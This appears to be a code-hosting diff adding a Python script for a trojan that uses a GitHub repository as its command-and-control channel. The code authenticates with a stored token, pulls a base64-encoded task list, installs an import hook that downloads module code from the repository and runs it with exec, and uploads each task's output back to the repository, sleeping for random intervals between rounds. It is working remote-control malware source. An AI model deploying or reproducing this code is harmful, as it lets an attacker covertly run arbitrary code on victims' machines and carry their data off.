|
| 1 | +import base64 |
| 2 | +import importlib |
| 3 | +import json |
| 4 | +import random |
| 5 | +import sys |
| 6 | +import threading |
| 7 | +import time |
| 8 | + |
| 9 | +from github import Github |
| 10 | +from github import Auth |
| 11 | +from datetime import datetime |
| 12 | + |
| 13 | +def github_connect(): |
| 14 | + with open('mytoken.txt', 'r', encoding='utf-8') as f: |
| 15 | + token = f.read().strip() |
| 16 | + user = 'danroch' |
| 17 | + auth = Auth.Token(token) |
| 18 | + sess = Github(auth=auth) |
| 19 | + user = sess.get_user() |
| 20 | + repo = user.get_repo('Git-C2') |
| 21 | + |
| 22 | + return repo |
| 23 | + |
| 24 | +def get_file_contents(dirname, module_name, repo): |
| 25 | + return repo.get_contents(f'{dirname}/{module_name}').content |
| 26 | + |
| 27 | +class Trojan: |
| 28 | + def __init__(self, id): |
| 29 | + self.id = id |
| 30 | + self.config_file = f'{id}.json' |
| 31 | + self.data_path = f'data/{id}/' |
| 32 | + self.repo = github_connect() |
| 33 | + |
| 34 | + def get_config(self): |
| 35 | + config_json = get_file_contents('config', self.config_file, self.repo) |
| 36 | + config = json.loads(base64.b64decode(config_json)) |
| 37 | + for task in config: |
| 38 | + if task['module'] not in sys.modules: |
| 39 | + exec("import %s" % task['module']) |
| 40 | + return config |
| 41 | + |
| 42 | + def module_runner(self, module): |
| 43 | + result = sys.modules[module].run() |
| 44 | + self.store_module_result(result) |
| 45 | + |
| 46 | + def store_module_result(self, data): |
| 47 | + message = datetime.now().isoformat() |
| 48 | + remote_path = f'data/{self.id}/{message}.data' |
| 49 | + bindata = bytes('%r' % data, 'utf-8') |
| 50 | + self.repo.create_file(remote_path, message, base64.b64encode(bindata)) |
| 51 | + |
| 52 | + def run(self): |
| 53 | + while True: |
| 54 | + config = self.get_config() |
| 55 | + for task in config: |
| 56 | + thread = threading.Thread( |
| 57 | + target=self.module_runner, |
| 58 | + args=(task['module'],)) |
| 59 | + thread.start() |
| 60 | + time.sleep(random.randint(1, 10)) |
| 61 | + time.sleep(random.randint(30*60, 3*60*60)) |
| 62 | + |
| 63 | +class GitImporter: |
| 64 | + def __init__(self): |
| 65 | + self.current_module_code = "" |
| 66 | + |
| 67 | + def find_module(self, name, path=None): |
| 68 | + print("[*] Attempting to retrieve %s" % name) |
| 69 | + self.repo = github_connect() |
| 70 | + |
| 71 | + new_library = get_file_contents('modules', f'{name}.py', self.repo) |
| 72 | + if new_library is not None: |
| 73 | + self.current_module_code = base64.b64decode(new_library) |
| 74 | + return self |
| 75 | + |
| 76 | + def load_module(self, name): |
| 77 | + spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url) |
| 78 | + new_module = importlib.util.module_from_spec(spec) |
| 79 | + exec(self.current_module_code, new_module.__dict__) |
| 80 | + sys.modules[spec.name] = new_module |
| 81 | + return new_module |
| 82 | + |
| 83 | +if __name__ == '__main__': |
| 84 | + sys.meta_path.append(GitImporter()) |
| 85 | + trojan = Trojan('abc') |
| 86 | + trojan.run() |
| 87 | + |
0 commit comments